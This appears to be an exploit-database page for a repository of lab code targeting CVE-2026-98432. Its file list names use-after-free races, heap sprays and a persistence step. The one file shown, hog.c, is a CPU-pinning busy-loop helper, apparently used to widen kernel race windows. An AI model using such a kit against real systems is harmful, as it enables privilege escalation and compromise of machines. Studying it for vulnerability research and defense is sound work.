Exploit databaseDownload repository ZIP
GH-64512fbefaddfbf371789d6022482152
h1z3-br0/cve-2026-98432
Sources for CVE-2026-98432
33 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files35
h1z3-br0/cve-2026-98432Revision fa7e5d9b81d7
- ↑..Parent directory
- README.md
- ack_opts.c
- aval_test.c
- build-lab.sh
- dccp_race.c
- dccp_test.c
- fnhe_redirect.c
- fnhe_spray.c
- freelist_probe.c
- hog.c
- init
- migrate_bpf.c
- mptcp_listener.c
- persist.c
- pipe_race.c
- raw_ack.c
- raw_syn.c
- reuseport_listener.c
- ring_race.c
- ring_race2.c
- run_aval_test.sh
- run_fnhe.sh
- run_fnhe_race.sh
- run_fnhe_spray.sh
- run_key_race.sh
- run_multi_fnhe.sh
- run_persist.sh
- run_stall_meas.sh
- run_stall_race.sh
- run_uaf_race.sh
- stall_meas.c
- stall_race.c
- trigger.c
- uaf_race.c
- xattr_spray.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/hog.c
C · 994 bytes#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
static void pin(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
sched_setaffinity(0, sizeof(set), &set);
}
int main(int argc, char **argv)
{
int cpu = argc > 1 ? atoi(argv[1]) : 2;
int spin_us = argc > 2 ? atoi(argv[2]) : 500;
int sleep_us = argc > 3 ? atoi(argv[3]) : 500;
int fifo = argc > 4 ? atoi(argv[4]) : 0;
struct timespec ts;
pin(cpu);
if (fifo) {
struct sched_param sp = { .sched_priority = fifo };
if (sched_setscheduler(0, SCHED_FIFO, &sp) < 0)
perror("sched_setscheduler");
}
for (;;) {
struct timespec a, b;
long d;
clock_gettime(CLOCK_MONOTONIC, &a);
do {
clock_gettime(CLOCK_MONOTONIC, &b);
d = (b.tv_sec - a.tv_sec) * 1000000 +
(b.tv_nsec - a.tv_nsec) / 1000;
} while (d < spin_us);
ts.tv_sec = 0;
ts.tv_nsec = (long)sleep_us * 1000;
nanosleep(&ts, NULL);
}
return 0;
}